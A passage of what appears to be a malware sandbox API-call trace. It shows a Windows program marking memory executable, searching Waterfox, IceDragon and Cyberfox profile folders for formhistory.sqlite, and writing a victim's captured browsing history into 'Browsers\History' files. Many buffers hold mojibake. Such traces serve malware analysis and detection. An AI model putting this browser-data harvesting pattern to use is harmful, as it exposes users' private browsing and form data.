ChromeSetup.exe\r\nhttps://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe\r\n\r\n[2017-06-30 10:26:49] Chrome für Desktop-Computer\r\nhttps://www.google.de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-30 10:26:29] download chrome - Google-Suche\r\nhttps://www.google.de/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb&gfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dg\r\n\r\n[2017-06-30 10:26:29] \r\nhttps://www.google.com/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb\r\n\r\n[2017-06-30 10:25:55] Welcome to Firefox\r\nhttps://www.mozilla.org/en-US/firefox/25.0/firstrun/\r\n\r\n", lpUsedDefaultChar=0x0) returned 1239 [0165.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.549] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.549] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\History\\MozillaFireFox_3y2joh8o.default.txt", cchWideChar=52, lpMultiByteStr=0x1e7de788, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\History\\MozillaFireFox_3y2joh8o.default.txt://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/verify/?src=install\r\n\r\n[2017-06-30 10:31:00] Chrome-Browser\r\nhttps://www.google.de/chrome/browser/thankyou.html\r\n\r\n[2017-06-30 10:30:53] ChromeSetup.exe\r\nhttps://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe\r\n\r\n[2017-06-30 10:26:49] Chrome für Desktop-Computer\r\nhttps://www.google.de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-30 10:26:29] download chrome - Google-Suche\r\nhttps://www.google.de/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb&gfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dg\r\n\r\n[2017-06-30 10:26:29] \r\nhttps://www.google.com/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb\r\n\r\n[2017-06-30 10:25:55] Welcome to Firefox\r\nhttps://www.mozilla.org/en-US/firefox/25.0/firstrun/\r\n\r\n", lpUsedDefaultChar=0x0) returned 52 [0165.549] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.550] CharToOemBuffA (in: lpszSrc="Browsers\\History\\MozillaFireFox_3y2joh8o.default.txt", lpszDst=0x1fcff3e0, cchDstLength=0x34 | out: lpszDst="Browsers\\History\\MozillaFireFox_3y2joh8o.default.txt") returned 1 [0165.550] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fcff468, Length=0x4d7) returned 0xe2b07a40 [0165.550] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf4500380, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 0 [0165.551] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0165.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229a4, cbMultiByte=8, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Waterfox⼺眯睷朮潯汧⹥敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 8 [0165.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022978, cbMultiByte=28, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Waterfox\\Profiles\\潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 28 [0165.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.552] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x35 [0165.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyrofiles\\潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 16 [0165.553] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite楆敲潆彸礳樲桯漸搮晥畡瑬琮瑸⼺樯癡⹡潣⽭湥搯睯汮慯⽤湩瑳污敬⹤獪൰ഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔳㐺崰ഠ栊瑴㩰⼯慪慶挮浯支⽮潤湷潬摡椯獮慴汬摥樮灳਍਍㉛㄰ⴷ㘰㌭‰〱㌺㨵〴⁝਍瑨灴⼺樯癡⹡潣⽭敶楲祦㼯牳㵣湩瑳污൬ഊ嬊〲㜱〭ⴶ〳ㄠ㨰ㄳ〺崰䌠牨浯ⵥ牂睯敳൲栊瑴獰⼺眯睷朮潯汧⹥敤振牨浯⽥牢睯敳⽲桴湡祫畯栮浴൬ഊ嬊〲㜱〭ⴶ〳ㄠ㨰〳㔺崳䌠牨浯卥瑥⹇眨⹣眨⹇眨⹣眨汤朮潯汧⹥潣⽭慴⽧⽳灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㜵䉂㙁䄹ㄭ䕃ⴹㄱ㈰䌭䐰ⴳ䄴䔱㍅㈴㕄〷㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 18 [0165.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.554] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Waterfox\\Profiles\\\\\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\waterfox\\profiles\\formhistory.sqlite")) returned 0xffffffff [0165.554] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.554] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229f0, cbMultiByte=9, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="IceDragons\\Historyrofiles\\潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 9 [0165.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0229bc, cbMultiByte=36, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Comodo\\IceDragon\\Profiles\\਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 36 [0165.554] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x3d [0165.554] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\HistoryDragon\\Profiles\\਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 16 [0165.555] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite楆敲潆彸礳樲桯漸搮晥畡瑬琮瑸⼺樯癡⹡潣⽭湥搯睯汮慯⽤湩瑳污敬⹤獪൰ഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔳㐺崰ഠ栊瑴㩰⼯慪慶挮浯支⽮潤湷潬摡椯獮慴汬摥樮灳਍਍㉛㄰ⴷ㘰㌭‰〱㌺㨵〴⁝਍瑨灴⼺樯癡⹡潣⽭敶楲祦㼯牳㵣湩瑳污൬ഊ嬊〲㜱〭ⴶ〳ㄠ㨰ㄳ〺崰䌠牨浯ⵥ牂睯敳൲栊瑴獰⼺眯睷朮潯汧⹥敤振牨浯⽥牢睯敳⽲桴湡祫畯栮浴൬ഊ嬊〲㜱〭ⴶ〳ㄠ㨰〳㔺崳䌠牨浯卥瑥⹇眨⹣眨⹇眨⹣眨汤朮潯汧⹥潣⽭慴⽧⽳灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㜵䉂㙁䄹ㄭ䕃ⴹㄱ㈰䌭䐰ⴳ䄴䔱㍅㈴㕄〷㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 18 [0165.555] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\comodo\\icedragon\\profiles\\formhistory.sqlite")) returned 0xffffffff [0165.555] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.555] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022a40, cbMultiByte=8, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Cyberfoxrs\\HistoryDragon\\Profiles\\਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 8 [0165.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022a08, cbMultiByte=41, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 41 [0165.555] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x42 [0165.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyos\\Cyberfox\\Profiles\\㌭‰〱㈺㨶㤲⁝潤湷潬摡挠牨浯⁥‭潇杯敬匭捵敨਍瑨灴㩳⼯睷⹷潧杯敬搮⽥敳牡档焿搽睯汮慯⭤档潲敭椦㵥瑵ⵦ☸敯甽晴㠭愦㵱♴汲㵳牯⹧潭楺汬㩡湥唭㩓景楦楣污挦楬湥㵴楦敲潦⵸♡档湡敮㵬晦扬朦敦牟㵤牣攦㵩卖坤捗煟彎偃儸穥慭㑏杄਍਍㉛㄰ⴷ㘰㌭‰〱㈺㨶㤲⁝਍瑨灴㩳⼯睷⹷潧杯敬挮浯猯慥捲㽨㵱潤湷潬摡挫牨浯♥敩甽晴㠭漦㵥瑵ⵦ☸煡琽爦獬漽杲洮穯汩慬攺⵮单漺晦捩慩♬汣敩瑮昽物晥硯愭挦慨湮汥昽汦ൢഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 16 [0165.556] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite楆敲潆彸礳樲桯漸搮晥畡瑬琮瑸⼺樯癡⹡潣⽭湥搯睯汮慯⽤湩瑳污敬⹤獪൰ഊ嬊〲㜱〭ⴶ〳ㄠ㨰㔳㐺崰ഠ栊瑴㩰⼯慪慶挮浯支⽮潤湷潬摡椯獮慴汬摥樮灳਍਍㉛㄰ⴷ㘰㌭‰〱㌺㨵〴⁝਍瑨灴⼺樯癡⹡潣⽭敶楲祦㼯牳㵣湩瑳污൬ഊ嬊〲㜱〭ⴶ〳ㄠ㨰ㄳ〺崰䌠牨浯ⵥ牂睯敳൲栊瑴獰⼺眯睷朮潯汧⹥敤振牨浯⽥牢睯敳⽲桴湡祫畯栮浴൬ഊ嬊〲㜱〭ⴶ〳ㄠ㨰〳㔺崳䌠牨浯卥瑥⹇眨⹣眨⹇眨⹣眨汤朮潯汧⹥潣⽭慴⽧⽳灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㜵䉂㙁䄹ㄭ䕃ⴹㄱ㈰䌭䐰ⴳ䄴䔱㍅㈴㕄〷㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 18 [0165.556] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles\\formhistory.sqlite")) returned 0xffffffff [0165.556] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, 